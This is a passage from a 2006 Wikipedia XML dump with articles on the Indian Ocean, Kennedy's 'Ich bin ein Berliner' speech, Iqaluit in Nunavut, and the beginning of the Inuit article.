On [[December 26]] [[2004]] the countries surrounding the Indian Ocean (south east asia) were hit by [[tsunami]]s caused by the [[2004 Indian Ocean earthquake]]. The waves resulted in more than 226,000 deaths and over 1 million homeless.

==Data==
'''Southern Ocean:'''
A spring 2000 decision by the [[International Hydrographic Organization]] delimited a [[Southern Ocean|fifth world ocean]], stripping the southern portions of the Indian Ocean. The new ocean extends from the coast of Antarctica north to 60°south latitude which coincides with the Antarctic Treaty Limit. The Indian Ocean remains the third-largest of the world's five oceans.

'''Area:'''
* ''total:'' 68.556 million km&amp;sup2;
* ''seas:'' includes [[Andaman Sea]], [[Arabian Sea]], [[Bay of Bengal]], [[Great Australian Bight]], [[Gulf of Aden]], [[Gulf of Oman]], [[Laccadive Sea]], [[Mozambique Channel]], [[Persian Gulf]], [[Red Sea]], [[Strait of Malacca]], and other tributary water bodies

'''Coastline:'''
66,526 km

'''Climate:'''
northeast [[monsoon]] (December to April), southwest monsoon (June to October); tropical cyclones occur during May/June and October/November in the northern Indian Ocean and January/February in the southern Indian Ocean

'''Terrain:'''
surface dominated by counterclockwise gyre (broad, circular system of currents) in the southern Indian Ocean; unique reversal of surface currents in the northern Indian Ocean; low atmospheric pressure over southwest Asia from hot, rising, summer air results in the southwest monsoon and southwest-to-northeast winds and currents, while high pressure over northern Asia from cold, falling, winter air results in the northeast monsoon and northeast-to-southwest winds and currents; ocean floor is dominated by the [[Mid-Indian Ocean Ridge]] and subdivided by the [[Southeast Indian Ocean Ridge]], [[Southwest Indian Ocean Ridge]], and [[Ninetyeast Ridge]]

Graphics of the seabed terrain produced by the Royal Navy &amp; British Geological Survey in 2005 can be found [[here]].

'''Elevation extremes:'''
* ''lowest point:'' [[Diamantina Trench]] - 8,047 m
* ''highest point:'' sea level 0 m

'''Natural resources:'''
[[petroleum|oil]] and gas fields, [[fish]], [[shrimp]], sand and gravel aggregates, placer deposits, polymetallic nodules

'''Environment - current issues:'''
endangered marine species include the [[dugong]], [[seal (mammal)|seal]]s, [[turtle]]s, and [[whale]]s; oil [[pollution]] in the Arabian Sea, [[Persian Gulf]], and [[Red Sea]]

'''Geography - note:'''
major chokepoints include [[Bab el Mandeb]], [[Strait of Hormuz]], [[Strait of Malacca]], southern access to the [[Suez Canal]], and the [[Lombok Strait]]

'''Ports and harbors:'''
[[Calcutta]] ([[India]]), [[Chennai]] ([[Madras]]; [[India]]), [[Colombo]] ([[Sri Lanka]]), [[Durban]] ([[South Africa]]), [[Jakarta]] ([[Indonesia]]), [[Karachi]] ([[Pakistan]]), [[Fremantle, Western Australia|Fremantle]] ([[Australia]]), [[Mumbai]] ([[Bombay]]; [[India]]), [[Richards Bay]] ([[South Africa]]), [[Visakhapatnam]] ([[India]]),[[Kochi, India|Kochi]] ([[India]])

==References==
&lt;div style=&quot;font-size:85%;&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

*Braun, D., The Indian Ocean (1983)
*Chandra, S., ed., The Indian Ocean (1987);
*Chaudhuri, K. N., Trade and Civilization in the Indian Ocean (1985);
*Cousteau, Jacques-Yves, and Diole, Philippe, Life and Death in a Coral Sea (1971);
*Cubitt, Gerald, Islands of the Indian Ocean (1975);
*Das Gupta, A., and Pearson, M.N., India and the Indian Ocean (1987);
*Dowdy, W. L., and Trood, R., eds., The Indian Ocean (1985);
*Kerr, A., ed., Resources and Development in the Indian Ocean Region (1981);
*Nairn, A. E., and Stehli, F. G., eds., The Ocean Basins and Margins, Vol. 6: The Indian Ocean (1982);
*Ostheimer, John M., ed., The Politics of the Western Indian Ocean Islands (1975); *Toussaint, Auguste, The History of the Indian Ocean, trans.  by June Guicharnaud (1966).

''Much of this text is based on public domain text by US Naval Oceanographer at: http://oceanographer.navy.mil/indian.html''

==External links==
*[http://dapper.pmel.noaa.gov/dchart/ NOAA In-situ Ocean Data Viewer] Plot and download ocean observations 


[[Category:Oceans]]
[[Category:Indian Ocean]]

[[ar:محيط هندي]]
[[an:Ozián Indico]]
[[ast:Océanu Índicu]]
[[bg:Индийски океан]]
[[zh-min-nan:Ìn-tō·-iûⁿ]]
[[bn:ভারতীয় মহাসমুদ্র]]
[[ca:Oceà Índic]]
[[cs:Indický oceán]]
[[cv:Инди океанĕ]]
[[cy:Cefnfor India]]
[[da:Indiske Ocean]]
[[de:Indischer Ozean]]
[[et:India ookean]]
[[el:Ινδικός Ωκεανός]]
[[es:Océano Índico]]
[[eo:Hinda Oceano]]
[[eu:Indiar ozeano]]
[[fr:Océan Indien]]
[[gl:Océano Índico]]
[[ko:인도양]]
[[hr:Indijski ocean]]
[[io:Indiana Oceano]]
[[id:Samudra Hindia]]
[[is:Indlandshaf]]
[[it:Oceano Indiano]]
[[he:האוקיינוס ההודי]]
[[sw:Bahari ya Hindi]]
[[la:Oceanus Indicus]]
[[lt:Indijos vandenynas]]
[[hu:Indiai-óceán]]
[[nl:Indische Oceaan]]
[[ja:インド洋]]
[[no:Indiahavet]]
[[nn:Det indiske havet]]
[[pl:Ocean Indyjski]]
[[pt:Oceano Índico]]
[[ro:Oceanul Indian]]
[[ru:Индийский океан]]
[[sa:सिन्धु महासागर]]
[[simple:Indian Ocean]]
[[sk:Indický oceán]]
[[sl:Indijski ocean]]
[[sr:Индијски океан]]
[[fi:Intian valtameri]]
[[sv:Indiska oceanen]]
[[ta:இந்து சமுத்திரம்]]
[[th:มหาสมุทรอินเดีย]]
[[vi:Ấn Độ Dương]]
[[tr:Hint Okyanusu]]
[[uk:Індійський океан]]
[[zh:印度洋]]</text>
    </revision>
  </page>
  <page>
    <title>Ich bin ein Berliner</title>
    <id>14581</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41961437</id>
      <timestamp>2006-03-02T22:21:40Z</timestamp>
      <contributor>
        <username>ProhibitOnions</username>
        <id>139004</id>
      </contributor>
      <comment>Revert the usual vandalism, warned vandal</comment>
      <text xml:space="preserve">[[Image:Berlin_Plaque_Kennedy.jpg|thumb|Plaque commemorating Kennedy's speech next to the front entrance of [[Rathaus Schöneberg]]]]
[[Image:JFK Entry in Berlin Golden Book.png|thumb|Entry in Berlin's Golden Book]]
[[Image:JFK Ich bin ein Berliner - civis Romanus sum.png|thumb|&lt;small&gt;Kennedy's notes: Ish bin ein Bearleener – kiwis Romanus sum – Lasd z nack Bearleen comen &lt;/small&gt;]]
[[Image:JFK Ich bin ein Berliner - civis Romanus sum 2.png|thumb|Part of the speech manuscript&lt;/small&gt;]]
'''&quot;Ich bin ein Berliner&quot;''' (&quot;I am a [[citizen]] of [[Berlin]]&quot;) is a famous quote from a [[June 26]], [[1963]] speech of [[President of the United States|U.S. President]] [[John F. Kennedy]] in [[West Berlin]]. Kennedy was underlining the support of the [[United States]] for [[democratic]] [[West Germany]] shortly after Soviet-controlled [[communist]] [[East Germany]] had erected the [[Berlin Wall]] as a deadly barrier to its citizens escaping to the West.

The speech is considered one of Kennedy's best, and a notable moment of the [[Cold War]]. It was a great morale boost for the West Berliners, who feared absorption into the [[Soviet Union|Soviet]] empire. Speaking from the balcony of [[Rathaus Schöneberg]], Kennedy said,

:&quot;Two thousand years ago the proudest boast was ''[[Roman citizen|civis Romanus]] sum''. Today, in the world of freedom, the proudest boast is &lt;nowiki&gt;'&lt;/nowiki&gt;''Ich bin ein Berliner''.&lt;nowiki&gt;'&lt;/nowiki&gt; All free men, wherever they may live, are citizens of Berlin, and, therefore, as a free man, I take pride in the words &lt;nowiki&gt;'&lt;/nowiki&gt;''Ich bin ein Berliner!''&lt;nowiki&gt;'&lt;/nowiki&gt;&quot;

This message of defiance was aimed as much at the Soviets as it was the Berliners, and was a clear statement of U.S. policy in the wake of the Berlin Wall. However, Kennedy also faced criticism inasmuch as his speech seemed to accept the new [[status quo]] following the division of Berlin. Kennedy said West Berlin had been &quot;besieged for 18 years&quot; &amp;mdash; alluding to the [[Berlin Airlift]] and other events &amp;mdash; but critics said he had tacitly accepted that [[East Berlin]] was part of the [[Eastern bloc|Soviet bloc]], despite the fact that all of Berlin was under four-power occupation and technically part of neither West nor East Germany.

Today there exist commemorative sites in Berlin, such as the John F. Kennedy German-American School Berlin, and the John F. Kennedy Institute for North American Studies of the [[Free University Berlin]].

==Background==  

''See main article: [[History of Berlin]]''

Germany's capital, [[Berlin]], was deep within the area controlled after [[World War II]] by the [[Soviet]] army. Initially governed jointly in four sectors controlled respectively by the [[United States]], [[United Kingdom]], [[France]], and [[Union of Soviet Socialist Republics|USSR]], tensions of the [[Cold War]] escalated until the Soviet forces implemented the [[Berlin Blockade]], which the Western allies relieved with the dramatic [[Berlin Airlift|airlift]].

Afterward, the sectors controlled by the [[NATO]] Allies became an effective [[exclave]] of [[West Germany]], completely surrounded by East Germany. From [[1952]], the border between East and West was closed everywhere but Berlin. Hundreds of thousands of East Germans [[defection|defected]] to the West via West Berlin, a labour drain which threatened East Germany with economic collapse.

In [[1961]] the East German government under [[Walter Ulbricht]] erected a barbed wire barrier around the Soviet sector of Berlin. Though it was officially called the '''''antifaschistischer Schutzwall''''' (anti-[[fascist]] protective barrier), it was universally known as the [[Berlin Wall]] and its primary purpose was to keep East German citizens from crossing to the West. Over a period of months the wall was rebuilt using concrete, and buildings were demolished to create a &quot;death zone&quot; in view of East German guards armed with [[machine gun]]s. In [[1962]] the first attempted escape leading to a fatal shooting took the life of [[Peter Fechter]]. 

The West, including the United States, was accused of failing to respond forcefully to the erection of the wall. On [[July 25]], [[1961]], President Kennedy, with the April [[Bay of Pigs Invasion|Bay of Pigs fiasco]] yet fresh, broadcast a Presidential address. Kennedy insisted that America would defend West Berlin, asserting its [[Potsdam Agreement|Four-Power rights]], even while making it clear that challenging the Soviet presence in Germany was not possible.

==&quot;Jelly doughnut&quot; urban legend==

A common [[urban legend]] asserts that Kennedy made an embarrassing grammatical error by saying &quot;Ich bin ein Berliner,&quot; referring to himself not as a citizen of [[Berlin]], but as a common pastry.

The legend stems from a play on words with ''[[Berliner (pastry)|Berliner]]'', the name given to a [[doughnut]] variant filled with jam or plum sauce that is thought to have originated in Berlin. While this &quot;jelly doughnut&quot; is indeed common to Berlin, it is only known as ''Pfannkuchen'' (pan cake) in the city and nearby regions. Other parts of Germany picked up the pastry under the name of ''Berliner Pfannkuchen'', shortened to ''Berliner''. 

According to the legend, Kennedy should have said &quot;Ich bin Berliner&quot; to mean &quot;I am a person from Berlin.&quot; By adding the [[indefinite article]] ''ein'', it is claimed, his statement implied he was a non-human Berliner, thus &quot;I am a jelly doughnut.&quot; In the legend, the statement was followed by uproarious laughter. Those retelling the legend will often claim to know someone who knows a German who misunderstood the statement due to its grammatical error.

This urban legend is unknown in Germany, where Kennedy's speech is considered a landmark in the country's postwar history. The term &quot;Berliner&quot; for the pastry sounds strange to people in Berlin. Common [[souvenir]]s in Berlin depicting a doughnut covered with the inscription &quot;Ich bin ein Berliner,&quot; which are often thought by American tourists to refer to this legend, represent little more than a play on words.

There is no grammatical error in Kennedy's statement; the indefinite article does not change its meaning. In [[German language|German]], statements of profession are often made without an article, thus &quot;Ich bin Arzt&quot; (I am a doctor). However, &quot;Ich bin ein Arzt,&quot; while less common, is not a mistake. Conversely, with statements of origin &quot;Ich bin ein Brandenburger&quot; (I am from Brandenburg) is more common than &quot;Ich bin Brandenburger&quot;; however, both are correct. Although both forms may be used interchangeably, the article &quot;ein&quot; can be used as a form of emphasis: it implies &quot;just one of many.&quot; As Kennedy did indeed stress the &quot;ein&quot;, the usage was, according to German [[linguist]] [[Jürgen Eichhoff]] [http://urbanlegends.about.com/cs/historical/a/jfk_berliner_2.htm], &quot;not only correct, but the one and only correct way of expressing in German what the President intended to say.&quot; 

During the speech, Kennedy used the phrase twice. After he said it the first time, he was applauded, and added jokingly, &quot;I appreciate my interpreter translating my German!&quot; This statement was followed by laughter and applause. He also used the phrase to end his speech.

The origins of the legend are obscure, but it was perpetuated in [[1988]] when [[William J. Miller]] erroneously wrote in an [[April 30]]th ''[[The New York Times|New York Times]]'' article:

&lt;blockquote&gt;''What they did not know, but could easily have found out, was that such citizens never refer to themselves as &quot;Berliners.&quot; They reserve that term for a favorite confection often munched at breakfast. So, while they understood and appreciated the sentiments behind the President's impassioned declaration, the residents tittered among themselves when he exclaimed, literally, &quot;I am a jelly-filled doughnut.&quot;''&lt;/blockquote&gt;

Although it has no basis in fact, the legend has since been repeated by other reputable media outlets, such as the [[BBC]] [http://news.bbc.co.uk/2/hi/programmes/letter_from_america/3167810.stm] and [[The Guardian]] [http://www.guardian.co.uk/theguardian/story/0,16391,1566039,00.html], and in several books about Germany written by English-speaking authors.

Furthermore, the speech had been reviewed by journalist [[Robert Lochner]], who was educated in Germany, and had been practiced several times in front of numerous Germans, including Berlin Mayor [[Willy Brandt]]. The many video and audio recordings of the event show only enthusiastic applause following the statement.  Kennedy did, however, pronounce the sentence with a strong [[Boston accent]], reading from his note &quot;ish bin ein Bear''lee''ner,&quot; which he had written out phonetically.

== The phrase and the legend in fiction and popular culture==
The British music group [[Pop Will Eat Itself]] varied the phrase to &quot;Ich bin ein Ausländer&quot; (&quot;I am a foreigner&quot;) as the title and chorus of a [[1994]] song expressing solidarity with immigrants and condemning anti-immigrant hate speech as inevitably stoking violence, insisting that &quot;freedom of 
expression doesn't make it all right.&quot;

In the [[X-Files]] episode &quot;Schizogeny&quot; Mulder erroneously tells a teen with the poster &quot;Ich bin ein Ausländer&quot; that when Kennedy made the statement &quot;Ich bin ein Berliner&quot; he was was saying &quot;I am a cocktail sausage&quot; leading to the response &quot;Who's Kennedy?&quot;.

The phrase is also alluded to in an episode of ''[[The Simpsons]]'' entitled &quot;Little Girl in the Big Ten.&quot;  [[Lisa Simpson]] is reluctant to enroll in a [[gymnastics]] school in order to help her pass her [[physical education]] class at Springfield Elementary.  However, after having been inspired by a vision of President Kennedy while knocked unconscious, she awakes to claim &quot;Ich bin ein Gymnast!&quot;. [[Homer Simpson]] then remarks that she must have dreamed about [[Adolf Hitler|Hitler]] again. Also, in another episode of the series, [[Abraham Simpson]] has a flashback in which he hears John F. Kennedy say the phrase &quot;Ich bin ein Berliner,&quot; prompting Abraham to yell &quot;He's a [[Nazi]]!&quot; shortly before tackling Kennedy. Throughout the series, [[Joe Quimby|Mayor &quot;Diamond Joe&quot; Quimby]], a caricature of the Kennedys, uses variations of the phrase multiple times when addressing large crowds (&quot;Ich bin ein Springfield Swap Meet patron!&quot;). During one episode, when German investors purchased the Springfield Nuclear Power Plant, Mayor Quimby said: &quot;Ich bin ein Springfielder&quot; during the opening ceremony speech.

British comedian [[Eddie Izzard]] talks about John Kennedy's &quot;I am a doughnut&quot; speech in his stand-up act &quot;[[Dress to Kill]]&quot;.

In [[Terry Pratchett]]'s book ''[[Monstrous Regiment (novel)|Monstrous Regiment]]'' (p. 328 of the hardcover), [[Samuel Vimes]] makes a speech in which he says &quot;Ze chzy Brogocia proztfik!&quot;, intending this to mean &quot;I am a citizen of [[Borogravia]]!&quot;. What he actually says is &quot;I am a cherry pancake!&quot;.

The legend also appears in ''[[Berlin Game]],'' the first book in [[Len Deighton]]'s ''Game, Set, Match'' [[trilogy]].

==External links==
{{wikisource}}
*[http://www.jfklibrary.org/j062663.htm Text and audio of Kennedy's speech]
*[http://www.copperas.com/jfk/berliner.htm Pundits: Jelly Doughnuts for Brains?]
*[http://www.serve.com/shea/germusa/jfkberl.htm A German teacher's article on the phrase]
*[http://urbanlegends.about.com/cs/historical/a/jfk_berliner_2.htm About.com article]
*[http://www.cnn.com/SPECIALS/cold.war/episodes/09/interviews/hosseini/ A Berliner recalls hearing the statement as a child]
[[Category:Cold War speeches]]
[[Category:History of Berlin]]
 

[[da:Ich bin ein Berliner]]
[[de:Ich bin ein Berliner]]
[[eo:Ich bin ein Berliner]]
[[ko:Ich bin ein Berliner]]
[[nb:Ich bin ein Berliner]]</text>
    </revision>
  </page>
  <page>
    <title>Iqaluit, Nunavut</title>
    <id>14582</id>
    <revision>
      <id>42142609</id>
      <timestamp>2006-03-04T02:33:48Z</timestamp>
      <contributor>
        <username>Klanda</username>
        <id>28502</id>
      </contributor>
      <minor />
      <comment>/* Transportation */ Little actual travel by dog sled these days.</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaa solid;  border-collapse: collapse; font-size: 95%;&quot; width=300
|+&lt;big&gt;&lt;big&gt;'''Iqaluit'''&lt;/big&gt;&lt;/big&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; 
|-
| align=&quot;center&quot; width=&quot;160px&quot; | [[Image:Nunavut flag.png|140px|right|Britsh Columbia]] || align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Nu-coat-thb.jpg|140px|]]
|-
| align=&quot;center&quot; width=&quot;160px&quot; | &lt;small&gt;([[Flag of Nunavut]])&lt;/small&gt; || align=&quot;center&quot; width=&quot;140px&quot; | &lt;small&gt;([[Coat of Arms of Nunavut|Coat of Arms]])&lt;/small&gt;
|}
|-
|'''[[Governing Body]]'''
| [[Iqaluit Municipal Council]]
|-
| '''[[Location (geography)|Location]]'''
| {{coor dm |63|45|N|68|33|W}}
|-
| '''Land area'''
| 52.34 km²
|-
| '''[[Population]] (2001)'''
| 5,236
|-
| '''[[Population Density]]'''
| 100 / km²
|-
|'''[[Immigration|Immigrant Population]]'''
| 104 (2%)
|-
| '''[[Languages]]'''
| [[English language|English]] (Official) 68% &lt;br&gt;[[French language|French]] (Official) 5% &lt;br&gt;Non Official 27% 
|-
| '''[[Religion]]'''
| [[Protestant]] 80% &lt;br&gt;[[Catholic]] 16% &lt;br&gt;[[Atheism|No religion]] 4%
|-
| '''[[Postal Code]]'''
| X0A 0H0, X0A 1H0
|-
| '''[[Time zone]]'''
| [[North American Eastern Standard Time Zone|EST]]
|-
|-
|}

'''Iqaluit''' ('''ᐃᖃᓗᐃᑦ''' in [[Inuktitut syllabics]]), formerly '''[[Frobisher Bay]]''', is the territorial [[capital]] and the largest community of [[Canada]]'s youngest territory, [[Nunavut]]. Its population is about 60% [[Inuit]], a lower figure than in other parts of Nunavut. The town was selected to serve as the new territory's capital in a [[1995 Nunavut Capital Plebiscite|territory-wide referendum]], in which it was chosen over [[Rankin Inlet, Nunavut|Rankin Inlet]] and [[Cambridge Bay, Nunavut|Cambridge Bay]]. 

The city is located in the hills rising from Koojesse Inlet, an inlet of [[Frobisher Bay]], on the south-east part of [[Baffin Island]].  It is well to the east of [[Nunavut]]'s mainland, and northeast of [[Hudson Bay]]. Inhabitants of Iqaluit are called ''Iqalummiut'' (singular: ''Iqalummiuq''). 

Iqaluit has the distinction of being the smallest Canadian capital city in terms of population and the only capital that cannot be accessed from the rest of Canada via a [[highway]].

About 5 km south-east from Iqaluit's center is the community of Apex. It is located on a small peninsula separating Koojesse Inlet from Tarr Inlet. Historically Apex was the place were most Inuit lived when Iqaluit was a military site and off-limits to anyone not working at the base. Located here are the women's shelter, a church, a primary school, and a bed-and-breakfast.

According to the [[2001]] [[Canada 2001 Census|census]], Iqaluit has a population of 5,236.

==History==
[[Image:MountiesIqaluitCanadaDay19990701 CopyrightKaihsuTai.JPG|thumb|left|The [[Mounties]] on parade in Iqaluit, Canada Day 1999.]]

Begun in [[1942]] as an American airbase, Iqaluit's first permanent inhabitant was [[Nakasuk]], an [[Inuk]] guide who helped American planners to choose the site.  One of the city's elementary schools is named after him.  Long regarded as a campsite and fishing spot by the Inuit, the place chosen had traditionally been named ''Iqaluit'' - &quot;many fish&quot; in [[Inuktitut]] - but Canadian and American authorities baptised it ''Frobisher Bay'', after the official name of the body of water it abuts.  

The [[Hudson Bay Company]] moved its south Baffin operations to the neighbouring valley of ''Niaqunngut'', officially called ''Apex'', in [[1949]] to take advantage of the airfield.  The population of ''Frobisher Bay'' increased rapidly during the construction of the [[Distant Early Warning Line]] (DEW line, a system of radar stations, see [[North American Aerospace Defense Command|NORAD]]) in the mid-[[1950s]].  Hundreds of construction workers, military personnel and administrative staff moved into the community, and several hundred Inuit followed to take advantage of the access to medical care and jobs the base provided.  Of the town's 1,200 residents, 489 were reported to be Inuit in [[1957]].  After [[1959]], the Canadian government established permanent services at Frobisher Bay, including full-time doctors, a school and social services.  The Inuit population grew rapidly in response, as the government encouraged Inuit to settle permanently in communities with government services. 

[[Image:Iqaluit-aerial.jpg|frame|right|Iqaluit from the air, taken in September 2005]]
The American military left Iqaluit in [[1963]], as [[ICBM]]s diminished the strategic value of the DEW line and arctic airbases, but Frobisher Bay remained the government's administrative and logistical centre for much of the eastern arctic.  [[1964]] saw the election of the first elected community council, and [[1979]] the first mayor. The founding of the ''Gordon Robertson Educational Centre'' (now ''Inukshuk high school'') in the early-1970s at Iqaluit confirmed the government's commitment to the community as an administrative centre.  At the time of its founding, it was the sole high school operating in more than a seventh of Canadian territory.

On [[January 1]], [[1987]], the name of this municipality was officially changed from &quot;Frobisher Bay&quot; to &quot;Iqaluit&quot; - aligning official usage with the name that the Inuit population had always used.  In December [[1995]], it was selected in a referendum to be the future capital of [[Nunavut]] and on [[April 19]], [[2001]] it was officially recognised as a city.

[[Image:0201bay.jpg|frame|left|Frobisher Bay, Dec. 2005]]

'''History Timeline'''

1576 - Englishman Martin Frobisher sails into Frobisher Bay believing he
has found the route to China

1861 - Charles Francis Hall, an American, camps at the Sylvia Grinnell River
and explores the waters of Koojesse Inlet, which he names after his
Inuit guide

1942 - U.S. Air Force selects Iqaluit’s current location as the site of a major
air base

1943 - The HBC moves its trading post from Ward Inlet to Apex

1955 - Frobisher Bay becomes the center for U.S. Canada Dew Line
construction operations

1963 - US military move out of Iqaluit

1964 - First community council formed; population of Frobisher Bay is 900

1970 - Frobisher Bay officially recognized as a Settlement

1974 - Settlement of Frobisher Bay gains Village status

1976 - Inuit present the Nunavut proposal to the Federal government

1979 - First mayor elected

1980 - Frobisher Bay designated as a Town

1982 - Government of Canada agrees in principle to the creation of Nunavut

1987 - Frobisher Bay officially becomes Iqaluit, reverting to its original
Inuktitut name meaning “place of many fish”

1993 - The Nunavut Land Claims Agreement is signed in Iqaluit

1995 - Nunavut residents select Iqaluit as capital of the new territory

April 1, 1999 - The Territory of Nunavut officially comes into being

April 19, 2001 - Iqaluit receives its Order of Official status as a City

==Transportation==
[[Image:Iqaluit-airport.jpg|frame|left|Iqaluit Airport, taken in September 2005]]
Located on an island remote from the Canadian highway system, Iqaluit is generally only accessible by aircraft and, subject to ice conditions, by boat. [[Iqaluit Airport]] is a fully modern facility whose originally WWII-era runway is more than long enough for most classes of modern jet. Although there is a persistent rumour that Iqaluit is an emergency landing site for the [[Space Shuttle]], this is false. Iqaluit Airport is a centre for cold-weather testing of new aircraft, such as the [[Airbus A380]] in [[February 2006]].
 
In the middle of summer, a few ships - generally no larger than a [[Liberty ship|Liberty class]] vessel - transport bulk and heavy goods to the city.  Iqaluit does not have a deep water harbour, so goods must be barged ashore, or the ship may be beached at high tide and the goods unloaded when the tide goes out.

It is in principle possible to reach Iqaluit on foot or by dog sled or snowmobile, both from other parts of Baffin Island and from the Quebec mainland when [[Hudson strait]] freezes.  This was how the Inuit traditionally travelled, and how they still do sometimes, but it is ill-advised for anyone who is not experienced in arctic travel.

Iqaluit has a local road system only stretching from the nearby community of [[Apex, Nunavut|Apex]] to the [[Sylvia Grinnell Territorial Park Reserve]], a kilometre west of town.  Iqaluit has no public transporation, however there is city-wide taxi service.  Although a growing number of people have personal automobiles, the cost of shipping them and the wear-and-tear of the harsh arctic climate and notoriously rough roadways mean that [[snowmobile]]s are the preferred form of personal transportation. Nevertheless, the ever-increasing number of personal automobiles is beginning to create traffic problems at peak times. [[All-terrain vehicle]]s are also an increasingly common form of transportation in most of the Canadian Arctic. Snowmobiles are extensively used to travel both within the city and in the surrounding area.  In winter, dog sleds are still used, however this is primarily recreational. In winter, the nearby [[Qaummaarviit Territorial Historic Park]] and the more remote [[Katannilik Territorial Park]] are only accessible by snowmobile, dog sled or foot.  In the summer, both are accessible by boat.
[[Image:CanadaDayIqaluit19990701 CopyrightKaihsuTai.JPG|thumb|right|Canada Day celebrations in Iqaluit, 1999.]]

==Architecture and Attractions==
Much of Iqaluit's architecture is functional - designed to minimise material costs, while retaining heat and withstanding the climate.  Early architecture runs from the [[1950s]] military barracks of the original DEW line installation, through the [[1970s]] white hyper-modernist [[fibreglass]] block of the Nakasuk elementary school, to the lines of the steel-reinforced concrete high-rise complex on the hill above it.  The newer buildings are more colourful and diverse, and closer to the norms of southern architecture, but largely unremarkable.

The two principal exceptions are '''[[St. Jude's Cathedral (Iqaluit)|St. Jude's Anglican Cathedral]]''' and the '''Nunavut Legislative Assembly Building'''.  St. Jude's Cathedral is a white building shaped like an [[igloo]].  Originally built by the parishioners, the altar is shaped like a traditional Inuit sled, and the cross is composed of two crossed [[narwhal]] tusks.  The interior of the cathedral was destroyed by fire on [[5 November]] [[2005]].

The Legislative complex is remarkable for its colourful interior, adorned with some of the very best in Inuit art.

The city is also the location of the '''Nunatta Sunakkutaangit Museum''', which houses a large collection of Inuit and arctic objects.

Just west of Iqaluit is the '''Sylvia Grinnell Territorial Park Reserve'''.  This park is characterized by the valley of the Sylvia Grinnell River. A small visitor's center with viewing platform is located on top of a hill overlooking scenic falls in the river.

Nearby on an island near the Peterhead inlet, is the '''Qaummaarviit Territorial Historic Park'''.  It is a site with a long Inuit history and numerous artifacts have been recovered, including the remains of 11 semi-buried sod houses.

A little farther, across Frobisher Bay, are the '''Katannilik Territorial Park''' and the '''Soper Heritage River Park'''.

==External links==
* [http://www.city.iqaluit.nu.ca The Official City of Iqaluit Website]
* [http://www.city.iqaluit.nu.ca/pdf/resident.pdf Official Relocation Guide (PDF) Gives a good intro to lifestyle and services]
* [http://www.arcticcircle.ca/Baffin/Iqaluit/index.htm Personal travel log with many photos]
* [http://www.copanational.org/PlacesToFly/airport_view.php?pr_id=13&amp;ap_id=189 Information on the Iqaluit Airport in the Canadian Owners and Pilots Association ''Places to Fly'' directory]
* [http://www.cbc.ca/north/webcams/iqaluit.html Iqaluit webcam] via [http://www.cbc.ca/north/ CBC North]
* [http://www.flickr.com/photos/tubaism/8005287/ A photo of St. Jude's Cathedral] (with concrete block apartment complex in the background)
* [http://charles1.ca/iqaluit.htm Charles 1 - Destination Iqaluit, Nunavut] - Photos of the city, text in French.
* [http://www.cbc.ca/story/canada/national/2005/11/07/iqaluit-church051107.html] - CBC news account of cathedral fire.


{{Canada capitals}}

[[Category:Cities in Nunavut]]
[[Category:Coastal towns in Canada]]
[[Category:Communities in Nunavut]]

[[de:Iqaluit]]
[[es:Iqaluit]]
[[fr:Iqaluit]]
[[ko:이칼루이트]]
[[iu:ᐃᖃᓗᐃᑦ]]
[[ja:イカルイト]]
[[nl:Iqaluit]]
[[pt:Iqaluit]]
[[fi:Iqaluit]]
[[sv:Iqaluit, Nunavut]]
[[zh:伊魁特]]</text>
    </revision>
  </page>
  <page>
    <title>Inuit</title>
    <id>14584</id>
    <revision>
      <id>42139498</id>
      <timestamp>2006-03-04T02:05:00Z</timestamp>
      <contributor>
        <username>Lucky number 49</username>
        <id>346440</id>
      </contributor>
      <minor />
      <comment>/* Analysis */ sp</comment>
      <text xml:space="preserve">: ''For the moons of Saturn, see [[Saturn's Inuit group of satellites]]''
{{ethnic group|
|group=Inuit
|image=[[Image:Inuit_women_1907.jpg|200px]]&lt;br&gt;Inuit woman
|poptime=150,000
|popplace=[[Greenland]], [[Canada]], [[United States]], [[Russia]]
|rels=[[Christianity]], [[Shamanism]]
|langs=[[Inuit languages]]
|related=[[Aleut|Aleuts]], [[Yupik|Yupiks]]
}}

'''Inuit''' ([[Inuktitut syllabics]]: &amp;#5123;&amp;#5316;&amp;#5123;&amp;#5222;, singular '''''Inuk''''' or '''''Inuq''''' / &amp;#5123;&amp;#5316;&amp;#5251;) is a general term for a group of culturally similar [[indigenous people]]s inhabiting the [[Arctic]] coasts of [[Siberia]], [[Alaska]], the [[Northwest Territories]], [[Nunavut]], [[Québec]], [[Labrador]] and [[Greenland]]. Until fairly recent times, there has been a remarkable homogeneity in the culture throughout this area, which traditionally relied on fish, sea mammals, and land animals for food, heat, light, clothing, tools, and shelter. Their language is [[Inuktitut]].

The [[Inuit Circumpolar Conference]] defines its constituency to include [[Canada]]'s Inuit and [[Inuvialuit]], [[Greenland]]'s [[Kalaallit]] people, [[Alaska]]'s [[Inupiaq]] and [[Yupik]] people, and [[Russia]]'s [[Yupik]]. However, the Yupik are not Inuit in the sense of being descended from the [[Thule people|Thule]] and prefer to be called ''Yupik'' or ''Eskimo''.

Canadian Inuit live primarily in [[Nunavut]] (a territory in Canada), [[Nunavik]] (the northern part of [[Quebec]]) and in [[Nunatsiavut]] (the Inuit settlement region in [[Labrador]]). The [[Inuvialuit]] live primarily in the [[Mackenzie River]] delta, on [[Banks Island]] and part of [[Victoria Island]] in the [[Northwest Territories]]. There have been Inuit settlements in [[Yukon]], especially at [[Herschel Island]], but there are none at present.  Alaskan [[Inupiaq]] live on the [[North Slope]] of Alaska, while the Yupik live in western Alaska and a part of [[Chukotka]] Autonomous Area in [[Russia]].

The [[Inuit Tapiriit Kanatami]] is a national organization in Canada which represents over 40,000 Canadian Inuit.

==Inuit and First Nations==
The Inuit living in [[North America]] have in the past been grouped together with other [[Indigenous peoples of the Americas|Native Americans]], but they are now thought to have arrived in the Americas entirely separately from other indigenous Americans, long after the disappearance of the [[Bering land bridge]]. Accordingly, in Canada the Inuit do not consider themselves and are not usually considered by others as one of the [[First Nations]]. However, they, the Native Americans, and the [[Métis people (Canada)|Métis]] are collectively recognized by the Canadian [[Constitution Act, 1982|constitution]] as [[Aboriginal peoples in Canada]].  Other synonyms include &quot;First Peoples&quot; and &quot;Native Peoples&quot;.

==Eskimo==
